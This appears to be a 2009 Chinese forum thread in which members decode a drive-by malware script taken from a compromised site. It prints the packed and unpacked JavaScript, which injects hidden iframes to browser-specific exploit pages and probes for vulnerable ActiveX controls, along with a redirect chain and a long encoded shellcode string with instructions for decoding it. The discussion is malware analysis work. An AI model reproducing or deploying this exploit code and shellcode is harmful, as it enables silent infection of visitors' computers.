求解密

显示全部楼层 · 发表于 2009-5-1 11:19:39

<html>
<script>
eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('e(t.o.n().g("j 7")==-1)8.3("<2 9=6 4=0 5=A.a></2>");8.3("<2 9=6 4=0 5=v.a></2>");8.3("<2 9=6 4=0 5=y.a></2>");8.3("<2 9=6 4=0 5=z.a></2>");8.3("<2 9=6 4=0 5=x.a></2>");e(t.o.n().g("j 7")>0)8.3("<2 5=u.a 9=6 4=0></2>");m{c d;c l=i f("w"+"k.I"+"k.1")}s(d){};p{e(d!="[r q]"){8.3("<2 9=6 4=0 5=l.a></2>")}}m{c b;c J=i f("H.B"+"F G C.1")}s(b){};p{e(b!="[r q]"){8.3("<2 9=6 4=0 5=D.a></2>")}}E h(){}h();',46,46,'||iframe|write|height|src|100||document|width|htm||var||if|ActiveXObject|indexOf|Game|new|msie|EDown|lz|try|toLowerCase|userAgent|finally|Error|object|catch|navigator|02|flash|GLI|ip|qb|ippp|yy|Snap|Control|office|function|shot|Viewer|snpvw||of'.split('|'),0,{}))
</script>
</html>

咱不会

显示全部楼层 · 发表于 2009-5-1 11:25:18

原帖由 拍黄瓜 于 2009-5-1 11:19 发表

咱不会

老大真够谦虚的

nullif(navigator.userAgent.toLowerCase().indexOf("msie 7")==-1)document.write("<iframe width=100 height=0 src=yy.htm></iframe>");document.write("<iframe width=100 height=0 src=flash.htm></iframe>");document.write("<iframe width=100 height=0 src=qb.htm></iframe>");document.write("<iframe width=100 height=0 src=ippp.htm></iframe>");document.write("<iframe width=100 height=0 src=ip.htm></iframe>");if(navigator.userAgent.toLowerCase().indexOf("msie 7")>0)document.write("<iframe src=02.htm width=100 height=0></iframe>");try{var d;var lz=new ActiveXObject("GLI"+"EDown.I"+"EDown.1")}catch(d){};finally{if(d!="[object Error]"){document.write("<iframe width=100 height=0 src=lz.htm></iframe>")}}try{var b;var of=new ActiveXObject("snpvw.Snap"+"shot Viewer Control.1")}catch(b){};finally{if(b!="[object Error]"){document.write("<iframe width=100 height=0 src=office.htm></iframe>")}}function Game(){}Game();

显示全部楼层 · 发表于 2009-5-1 11:27:49

咱找不出马的位置..................

显示全部楼层 · 发表于 2009-5-1 11:29:24

原地址呢?

显示全部楼层 · 发表于 2009-5-1 11:30:11

hxxp://mimi1818.cn/a/02.htm

都是CN域名用来挂马耻辱啊

显示全部楼层 · 发表于 2009-5-1 11:32:26

关于:hxxp://mimi1818.cn/a/02.htm解密的日志(全体输出 -  3):

Level  0>http://mimi1818.cn/a/02.htm
Level  1>http://mimi1818.cn/a/set.js
Level  2>http://xinfa8.com/xia/f1.css  ●

显示全部楼层 · 发表于 2009-5-1 11:33:42

我就解出前两个那个CSS么看见............

显示全部楼层 · 发表于 2009-5-1 11:37:40

原帖由 拍黄瓜 于 2009-5-1 11:33 发表
我就解出前两个那个CSS么看见............

先进行eval解密

eval(function(p,a,c,k,e,d){e=function(c){return c};if(!''.replace(/^/,String)){while(c--){d[c]=k[c]||c}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0 1=2("3");',4,4,'var|ttt|unescape|Game11ebGame4b5bGamec933Game96b9Game0005Game8000Game0b34Gamee2bcGameebfaGamee805GameffeaGameffffGame8454GamebcbfGamed4bcGame9cbcGamebcbcGamebcd6Game6c43Game3a05Gamebcb9Game37bcGame5744Gamee2b9Game184fGame6c43Game4a54Game4343Game5443Gamebf83GamebcbcGame4437Game8454GamebcbcGame54bcGamebdf3GamebcbcGamefa54GamebcbcGame54bcGamebf61GamebcbcGame4437Game9e54GamebcbcGame54bcGamebdfaGamebcbcGame8c54GamebcbcGame54bcGamebf37GamebcbcGame4437Gameb054GamebcbcGame54bcGamebddfGamebcbcGamea654GamebcbcGame57bcGameefe4Game6037Gamed6efGamed4fcGameacbcGamebcbcGame54ebGamebe0fGamebcbcGame5954GamebcbcGamee4bcGameef7fGame6037Gamed6efGamed49cGameacbcGamebcbcGame54ebGamebe27GamebcbcGame7154GamebcbcGamee4bcGameeb7fGame8254Gamebcb8Game37bcGame8f44Gamef575Game7c8fGame7f0cGame4e40Game3112Game43fbGame7fe3Game82e7Gamebb7aGame8204Gamee335Game82bdGame7bdaGameb9fbGame5c43Game557fGameb82bGamebcbcGame3de7Gamea850GamebcbdGame37bcGame8268Gamebe7bGamed1dfGame9cd8Game7b82Gameb8feGamedf93Game9e9cGame7e3fGame8fb4Gameec7cGamed4ecGamebdb8GamebcbcGameefeeGame54ecGamebf7fGamebcbcGame6c43Game4037Game7b37Game7c3fGame82b4Gamea436Game6738Gamebfc8Game57fcGame824aGamebc7aGame8f9eGame826eGameec34Game3fbdGamee850Game7c8fGame678fGame7037Game443fGamec1e8Game82b5Gamea035Game3fb4Gameb87cGame4e57Game7037Game6537Game7f3fGame8facGame827cGameff7bGamebd90GamebcbcGameedbcGameecefGameececGameececGameebecGame54ecGamebf87GamebcbcGamea554GamebcbcGamed8bcGameb81dGamebcbcGame31bcGamedc1cGame4343Game5443Gamebf85GamebcbcGame678fGameefefGameefefGame6c43Game843cGamec855Game3cb9Game5484Gameb3c9Gamec43dGame2cb9Game2c2cGamec82cGamee9baGame5037Gamefc31Game43b9Game545cGame4390Game4343Game547fGame439aGame4343Gamead04Gameb8bdGame7e3cGamebcb0Gamea554Game4343Game8f43Gameec7cGame54e8Gamebce8GamebcbcGame54ecGamebe37GamebcbcGame6c43Game3c8aGame9880GamecbbcGame54b6GamebefdGamebcbcGame438fGame43ebGame546cGamebd47GamebcbcGame43d4GamebcbcGame43bcGame546cGame425aGame4343GameebefGame8feaGameec7cGame54e8Gamebca2GamebcbcGame54ecGamebee9GamebcbcGame6c43Game3c8aGame9880GamecbbcGame54b6Gamebeb7GamebcbcGame438fGame43ebGamee46cGamee3e2Game7fe7Gamebe57Game7fe4Game4554Game4343Gameea43Game3febGameb450Game4037Gameb4d6Game82ebGamecb43Game54a8Gamebee1GamebcbcGame6c43Game4037Gameddd4Gamed9d1Gamed4bcGamef9f5GamecefaGame4837Gameb405GamebcbcGame4fbcGamec91aGamed693Game82bcGamec843Game9c98Game9854GamebcbeGame43bcGame376cGame5444Gamebd77GamebcbcGame6c43Game4487Gameb4c8Game378aGame98f8Game829cGamebc43Game4382Game98c8Game54a0Gamebd53GamebcbcGame6c43Game783fGamee3acGame04e2GamebcbdGamebcbcGamed47fGamed2d3GamebcbcGamec9d4Gamed0ceGame57d1Game31a9Game98f8Gameecb8Game9c54Game4342Gameec43Gamef654GamebcbeGame55bcGame425cGame4343Game5a54Game4343Game3f43Gameb478Gamed67fGamed4d0Gamec8d2Gamed0d8Gamea957Gamef831Gameb898Game54ecGame4145Game4343Game54ecGamebe9fGamebcbcGame0555Game4342Game5443Game435aGame4343Game783fGame7fb4Game8fd4Gamebc8eGamed4bcGamecfc9Gameced9Gamea957Gamef831Gameb898Game54ecGame4173Game4343Game54ecGamebd45GamebcbcGame3355Game4342Game5443Game435aGame4343Game783fGame7fb4Gamedfd4GamecbcaGamed4bcGamed4cfGamed3d8Gamea957Gamef831Gameb898Game54ecGame4119Game4343Game54ecGamebd73GamebcbcGamed955Game4342Game5443Game435aGame4343Game783fGame7fb4Gamecad4Gamec4dbGame57bcGame31a9Game98f8Gameecb8Game3c54Game4341Gameec43Game1654GamebcbdGame55bcGame42fcGame4343Game5a54Game4343Game3f43Gameb878Game547fGamebd17GamebcbcGamea7d4Gamefa7aGameecc5Game7a54GamebcbdGame3fbcGameb478Game547fGamebd2bGamebcbcGame50d4Gamebf2bGameecb0Game0e54GamebcbdGame3fbcGameb478Game547fGamebd3fGamebcbcGame16d4Gameb140Gameecc0Game2254GamebcbdGame3fbcGameb478Game547fGamebdd3GamebcbcGame51d4Game53eaGameec8aGame3654GamebcbdGame3fbcGameb478Game547fGamebde7GamebcbcGame4cd4Gameb836Gameece3Gameca54GamebcbdGame3fbcGameb478Game547fGame424bGame4343Gamec4d4Game67d4Gameeca0Gamede54GamebcbdGame3fbcGameb478Game547fGamebd8fGamebcbcGamec2d4Game5e64GameeccfGamef254GamebcbdGame3fbcGameb478Game547fGamebda3GamebcbcGame0cd4Game91f5Gameec67Game8654GamebcbdGame3fbcGameb478Game547fGame438aGame4343Game17d4Game27e2Gameeca2Game9a54GamebcbdGame3fbcGameb478Game547fGame421bGame4343Gamee5d4Game3d2bGameecbeGameae54GamebcbdGame3fbcGameb478Game547fGamebc5fGamebcbcGamec2d4Game5e64GameeccfGame4254GamebcbcGame3fbcGameb478Game547fGamebc73GamebcbcGame22d4Game0745Gameec89Game5654GamebcbcGame3fbcGameb478Game547fGame422eGame4343Gameebd4Game091cGameec07Game6a54GamebcbcGame3fbcGameb478Game547fGame42c2Game4343Gamea6d4Gamea2c6GameecbeGame7e54GamebcbcGame3fbcGameb478Game547fGame42d6Game4343Game5cd4Game8ce7Gameec28Game1254GamebcbcGame3fbcGameb478Game547fGame42eaGame4343Game2bd4Game5e75Gameec1fGame2654GamebcbcGame3fbcGameb478Game547fGame42feGame4343Gamed4d4Game7998Gameec0fGame3a54GamebcbcGame3fbcGameb478Game547fGamebcebGamebcbcGameced4Game0f42GameecaaGamece54GamebcbcGame3fbcGameb478Game547fGame42f8Game4343Gameaf57Gamed9d6Game54ecGame4749Game4343Game54ecGame4217Game4343Game0955Game4340Game5443Game4354Game4343Game547fGame4115Game4343Gamef3d4Gamef353Gameecb9Game8254GamebcbcGame3fbcGameb478Game547fGamebcb3GamebcbcGame32d4Gameb2f2Gameec50Game9654GamebcbcGame3fbcGameb478Game8f7fGamed87cGamefc37Game398cGamec47cGame82acGamefc37Game82b0Gamecc37Game11a0Game3782Gameb4fcGame577fGame82b7Gamefc37Game3f88Gamec07cGame3782Game80fcGamedc7fGame378aGame98d0Game8a98Gamef937Game8a80Gamee837Gamec494Game69bfGame3782Gamea4f6Game3782Game9ce6Game61bfGame875fGame82f5Game8837Gamebf37Game8f49Game8f43Game407cGame3810Gamec87cGame7dbbGameb173Game44bfGame4857Game878aGame98c0Gamec994Game8263Gamee637Gamebf98Game8261Game37daGamef7b0Game3782Gamea0e6Game61bfGame3782Game37b8Game79bfGame358aGame98f8Gamedda0Game547fGame47d8Game4343Gamec8d4Gameccc8Game9386Gamec493Gamed2d5GamedddaGame9284Gamed3dfGame93d1Gamed5c4Game93ddGame8ddaGamedf92GamecfcfGameBCBCGameBCBC'.split('|'),0,{}))

得到代码

nullvar ttt=unescape("Game11ebGame4b5bGamec933Game96b9Game0005Game8000Game0b34Gamee2bcGameebfaGamee805GameffeaGameffffGame8454GamebcbfGamed4bcGame9cbcGamebcbcGamebcd6Game6c43Game3a05Gamebcb9Game37bcGame5744Gamee2b9Game184fGame6c43Game4a54Game4343Game5443Gamebf83GamebcbcGame4437Game8454GamebcbcGame54bcGamebdf3GamebcbcGamefa54GamebcbcGame54bcGamebf61GamebcbcGame4437Game9e54GamebcbcGame54bcGamebdfaGamebcbcGame8c54GamebcbcGame54bcGamebf37GamebcbcGame4437Gameb054GamebcbcGame54bcGamebddfGamebcbcGamea654GamebcbcGame57bcGameefe4Game6037Gamed6efGamed4fcGameacbcGamebcbcGame54ebGamebe0fGamebcbcGame5954GamebcbcGamee4bcGameef7fGame6037Gamed6efGamed49cGameacbcGamebcbcGame54ebGamebe27GamebcbcGame7154GamebcbcGamee4bcGameeb7fGame8254Gamebcb8Game37bcGame8f44Gamef575Game7c8fGame7f0cGame4e40Game3112Game43fbGame7fe3Game82e7Gamebb7aGame8204Gamee335Game82bdGame7bdaGameb9fbGame5c43Game557fGameb82bGamebcbcGame3de7Gamea850GamebcbdGame37bcGame8268Gamebe7bGamed1dfGame9cd8Game7b82Gameb8feGamedf93Game9e9cGame7e3fGame8fb4Gameec7cGamed4ecGamebdb8GamebcbcGameefeeGame54ecGamebf7fGamebcbcGame6c43Game4037Game7b37Game7c3fGame82b4Gamea436Game6738Gamebfc8Game57fcGame824aGamebc7aGame8f9eGame826eGameec34Game3fbdGamee850Game7c8fGame678fGame7037Game443fGamec1e8Game82b5Gamea035Game3fb4Gameb87cGame4e57Game7037Game6537Game7f3fGame8facGame827cGameff7bGamebd90GamebcbcGameedbcGameecefGameececGameececGameebecGame54ecGamebf87GamebcbcGamea554GamebcbcGamed8bcGameb81dGamebcbcGame31bcGamedc1cGame4343Game5443Gamebf85GamebcbcGame678fGameefefGameefefGame6c43Game843cGamec855Game3cb9Game5484Gameb3c9Gamec43dGame2cb9Game2c2cGamec82cGamee9baGame5037Gamefc31Game43b9Game545cGame4390Game4343Game547fGame439aGame4343Gamead04Gameb8bdGame7e3cGamebcb0Gamea554Game4343Game8f43Gameec7cGame54e8Gamebce8GamebcbcGame54ecGamebe37GamebcbcGame6c43Game3c8aGame9880GamecbbcGame54b6GamebefdGamebcbcGame438fGame43ebGame546cGamebd47GamebcbcGame43d4GamebcbcGame43bcGame546cGame425aGame4343GameebefGame8feaGameec7cGame54e8Gamebca2GamebcbcGame54ecGamebee9GamebcbcGame6c43Game3c8aGame9880GamecbbcGame54b6Gamebeb7GamebcbcGame438fGame43ebGamee46cGamee3e2Game7fe7Gamebe57Game7fe4Game4554Game4343Gameea43Game3febGameb450Game4037Gameb4d6Game82ebGamecb43Game54a8Gamebee1GamebcbcGame6c43Game4037Gameddd4Gamed9d1Gamed4bcGamef9f5GamecefaGame4837Gameb405GamebcbcGame4fbcGamec91aGamed693Game82bcGamec843Game9c98Game9854GamebcbeGame43bcGame376cGame5444Gamebd77GamebcbcGame6c43Game4487Gameb4c8Game378aGame98f8Game829cGamebc43Game4382Game98c8Game54a0Gamebd53GamebcbcGame6c43Game783fGamee3acGame04e2GamebcbdGamebcbcGamed47fGamed2d3GamebcbcGamec9d4Gamed0ceGame57d1Game31a9Game98f8Gameecb8Game9c54Game4342Gameec43Gamef654GamebcbeGame55bcGame425cGame4343Game5a54Game4343Game3f43Gameb478Gamed67fGamed4d0Gamec8d2Gamed0d8Gamea957Gamef831Gameb898Game54ecGame4145Game4343Game54ecGamebe9fGamebcbcGame0555Game4342Game5443Game435aGame4343Game783fGame7fb4Game8fd4Gamebc8eGamed4bcGamecfc9Gameced9Gamea957Gamef831Gameb898Game54ecGame4173Game4343Game54ecGamebd45GamebcbcGame3355Game4342Game5443Game435aGame4343Game783fGame7fb4Gamedfd4GamecbcaGamed4bcGamed4cfGamed3d8Gamea957Gamef831Gameb898Game54ecGame4119Game4343Game54ecGamebd73GamebcbcGamed955Game4342Game5443Game435aGame4343Game783fGame7fb4Gamecad4Gamec4dbGame57bcGame31a9Game98f8Gameecb8Game3c54Game4341Gameec43Game1654GamebcbdGame55bcGame42fcGame4343Game5a54Game4343Game3f43Gameb878Game547fGamebd17GamebcbcGamea7d4Gamefa7aGameecc5Game7a54GamebcbdGame3fbcGameb478Game547fGamebd2bGamebcbcGame50d4Gamebf2bGameecb0Game0e54GamebcbdGame3fbcGameb478Game547fGamebd3fGamebcbcGame16d4Gameb140Gameecc0Game2254GamebcbdGame3fbcGameb478Game547fGamebdd3GamebcbcGame51d4Game53eaGameec8aGame3654GamebcbdGame3fbcGameb478Game547fGamebde7GamebcbcGame4cd4Gameb836Gameece3Gameca54GamebcbdGame3fbcGameb478Game547fGame424bGame4343Gamec4d4Game67d4Gameeca0Gamede54GamebcbdGame3fbcGameb478Game547fGamebd8fGamebcbcGamec2d4Game5e64GameeccfGamef254GamebcbdGame3fbcGameb478Game547fGamebda3GamebcbcGame0cd4Game91f5Gameec67Game8654GamebcbdGame3fbcGameb478Game547fGame438aGame4343Game17d4Game27e2Gameeca2Game9a54GamebcbdGame3fbcGameb478Game547fGame421bGame4343Gamee5d4Game3d2bGameecbeGameae54GamebcbdGame3fbcGameb478Game547fGamebc5fGamebcbcGamec2d4Game5e64GameeccfGame4254GamebcbcGame3fbcGameb478Game547fGamebc73GamebcbcGame22d4Game0745Gameec89Game5654GamebcbcGame3fbcGameb478Game547fGame422eGame4343Gameebd4Game091cGameec07Game6a54GamebcbcGame3fbcGameb478Game547fGame42c2Game4343Gamea6d4Gamea2c6GameecbeGame7e54GamebcbcGame3fbcGameb478Game547fGame42d6Game4343Game5cd4Game8ce7Gameec28Game1254GamebcbcGame3fbcGameb478Game547fGame42eaGame4343Game2bd4Game5e75Gameec1fGame2654GamebcbcGame3fbcGameb478Game547fGame42feGame4343Gamed4d4Game7998Gameec0fGame3a54GamebcbcGame3fbcGameb478Game547fGamebcebGamebcbcGameced4Game0f42GameecaaGamece54GamebcbcGame3fbcGameb478Game547fGame42f8Game4343Gameaf57Gamed9d6Game54ecGame4749Game4343Game54ecGame4217Game4343Game0955Game4340Game5443Game4354Game4343Game547fGame4115Game4343Gamef3d4Gamef353Gameecb9Game8254GamebcbcGame3fbcGameb478Game547fGamebcb3GamebcbcGame32d4Gameb2f2Gameec50Game9654GamebcbcGame3fbcGameb478Game8f7fGamed87cGamefc37Game398cGamec47cGame82acGamefc37Game82b0Gamecc37Game11a0Game3782Gameb4fcGame577fGame82b7Gamefc37Game3f88Gamec07cGame3782Game80fcGamedc7fGame378aGame98d0Game8a98Gamef937Game8a80Gamee837Gamec494Game69bfGame3782Gamea4f6Game3782Game9ce6Game61bfGame875fGame82f5Game8837Gamebf37Game8f49Game8f43Game407cGame3810Gamec87cGame7dbbGameb173Game44bfGame4857Game878aGame98c0Gamec994Game8263Gamee637Gamebf98Game8261Game37daGamef7b0Game3782Gamea0e6Game61bfGame3782Game37b8Game79bfGame358aGame98f8Gamedda0Game547fGame47d8Game4343Gamec8d4Gameccc8Game9386Gamec493Gamed2d5GamedddaGame9284Gamed3dfGame93d1Gamed5c4Game93ddGame8ddaGamedf92GamecfcfGameBCBCGameBCBC");

替换Game为%u进行shellcode解密,密匙为bc
就可以解出地址了

显示全部楼层 · 发表于 2009-5-1 11:42:31

高手果然厉害.........
感谢解答咱匿了

显示全部楼层 · 发表于 2009-5-1 11:46:47

收藏此帖以学习。。。

[已鉴定] 求解密

评分